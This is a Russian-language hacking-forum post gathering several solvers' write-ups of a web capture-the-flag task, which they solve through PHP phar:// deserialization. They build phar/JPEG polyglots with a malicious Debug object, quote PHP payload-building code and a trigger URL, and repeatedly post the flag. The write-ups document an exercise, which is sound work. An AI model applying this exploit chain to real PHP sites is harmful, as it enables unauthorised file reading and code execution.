https://blog.ripstech.com/2018/new-p...ion-technique/
и понимаем что у нас все что нужно есть. Остается сделать нужную картинку.
Записываем в phar архив метаданные
"O:5:"Debug":2:{s:4:"hook";s:17:"/var/www/flag.txt";s:4:"file";s:17:"/var/www/flag.txt";}"
где искать флаг не сразу понял, после прочтения .htaccess стало понятно (спасибо dooble)
сам не стал разбираться как сделать картинку и phar архив с нуля, на работе с временем напряг...
Сделал через готовое решение
https://github.com/kunte0/phar-jpg-polyglot
@b4zed

Цитата:
Сообщение от b4zed  

1.
http://task.antichat.com:10004/backup/view.bak
Находим исходник view.php
2. Смотрим на код.
Ищем в гугле php destruct vulnerability
находим статью
https://blog.ripstech.com/2018/new-p...ion-technique/
Понимаем что враппер phar:// позволяет выполнить php код, но в нашем случае мы можем только читать файлы
public function __destruct() {
if (isset($this->hook)) echo file_get_contents($this->hook);
}
3. Далее нам нужно создать phar файл, но так как загружать можно только jpg так как происходит проверка mime типов нужно сделать так чтобы phar обрабатывался как картинка.
В структуре phar файла есть "заголовок"
$phar->setStub('');
в который мы можем встатвить картинку.
4. Добрые люди уже автоматизировали процесс создания phar+jpg картинки
https://github.com/kunte0/phar-jpg-p...g_polyglot.php
Качаем скрипт phar_jpg_polyglot.php
и меняем там:
class PHPObjectInjection {}
$object = new PHPObjectInjection;
$object->inject = 'system("id");';
$object->out = 'Hallo World';
// pop exploit class
на наш:
// pop exploit class
class Debug {}
$object = new Debug;
$object->hook = '../flag.txt';
да... сначала мы прочитали файл .htaccess и нашли там хинт
and finally, yes now 1_Kn0W_4b0Ut_Ph4R_M0r3!!!
@Gorbachev

Цитата:
Сообщение от Gorbachev  

С твоей подсказкой про воздействие на классы без unserialize() выхожу на трюк с phar://, изучаю вот это всё, пытаюсь сообразить, это всё под данный таск подходит или нет? Ответ нашел в этом сообщении:
https://rdot.org/forum/showpost.php?p=43352&postcount=4
Все сразу стало ясно. Ещё пару статей почитал, вкурил как оно должно работать.
За основу был взят код генерации полезного файла:
https://rdot.org/forum/showpost.php?...0&postcount=66
Это чтобы и проверку на картинки обойти, и правильно сформировать рабочий архив.
У меня на локалхосте всё читалось как надо, но я уже успел обратить внимание, что file_get_contents находясь в __destruct назначает себе путь / и прочесть рядом лежащие файлы не может, для этого требуется полный путь.
Я уже понимаю, как этот самый путь надо было доставать:
Код:
private $img;

public function __construct($img){
$this->img = $img;
}
Воздействовать на $img; и выполнить функцию curDir(), она там явно не просто так.
Но мне не удалось найти инфу, как это реализовать, зато как в переменные класса вклиниваться расписано достаточно.
Поэтому я нашел альтернативный вариант, зашел в task#2, выполнил в нем phpinfo(); и пути совпали. Кстати пути и файлы на существование чекать можно прямо через переменную f, вполне удобно, сначала чекнул файл, есть? А затем прочитать.
Ну дальше всё просто, формируем архив:
Код:
$phar = new Phar($n);
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub(img().'');
class Debug {
private $hook = "/var/www/html/index.php";
}
$object = new Debug;
$phar->setMetadata($object);
$phar->stopBuffering();
Читаем все файлы, и понимаем, что флага нигде нет, я уж подумал, сейчас зафейлюсь на этом этапе, и запомню этот таск надолго.
Хотел прочитать сессии, всякие вспомогательные файлы, увидел, что .htaccess есть, прочитал его, не сразу вкурил, почему в корне он отсутствует, попробовал в других местах поискать, в /tmp/ /upload/ на директорию выше, и нашел.
Флаг: /var/www/flag.txt содержимое: 1_Kn0W_4b0Ut_Ph4R_M0r3
@D3N

Цитата:
Сообщение от D3N  

Флаг - "1_Kn0W_4b0Ut_Ph4R_M0r3"
Таск офигенный ) Не знал что пыха так умеет. Но честно, бэкап искал дольше чем нашёл статьи по уязвимости)
Решение:
Находим бэкап файл в /backup/
Видим что в view.php есть вызов функции file_exists и класс Debug у которого определены методы
__construct и __destruct. Видим что в __destruct есть интересная нам функция file_get_contents. Гуглим file_exists + unserialization (хинт) и находим статьи про phar фильтр. Собираем phar файл и маскируем под jpg (polyglot - one love). Загружаем полученный payload и на странице и переходим на /view.php?f=phar://upload/SESSION/payload.jpg. Читаем флаг, всё !
@l1ght

Цитата:
Сообщение от l1ght  

в общем, класс, после него file_exists очевидный вариант напрашивается с оберткой phar:// + десериалиция класса Debug
но загружаются только файлы .jpg причем с проверкой по mime-type
я взял за основну софт кореша (
https://github.com/kunte0/phar-jpg-polyglot
) немного подправил
загрузил poc
1_Kn0W_4b0Ut_Ph4R_M0r3
@nix_security

Цитата:
Сообщение от nix_security  

Спасибо за таск!
flag.txt :
1_Kn0W_4b0Ut_Ph4R_M0r3
Решение:
Сначала набрутил исходник
http://task.antichat.com:10004/backup/view.bak
.
Класс Debug с магическим методом __destruct намекает на небезопасную десериализацию))
Дальше немного подвис, пока не появились новые хинты...
Выяснил, что при использовании враппера phar объекты десериализуются при вызове любых методов работы с
файлами (file_exists в нашем случае).
Пэйлоад сформировал и внедрил в jpg-файл с помощью phpggc (цепочку сделал кастомную на основе класса Debug).
Почитал файлы на системе, в htaccess deny на flag.txt, значит его и надо искать. Он оказался директорией выше)
@oleg_1va

Цитата:
Сообщение от oleg_1va  

Не мог найти исходники, брутил файлы.Но оказывается нужно было посматреть папки).Нагуглил вот это
https://blog.ripstech.com/2018/new-p...ion-technique/
и использовал вот это для решения
https://github.com/kunte0/phar-jpg-polyglot
. Флаг получил методом тыка) Флаг:1_Kn0W_4b0Ut_Ph4R_M0r3
[/COLOR]
Если я случайно кого то забыл - отпишите в лс. Всем спасибо за участие!
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.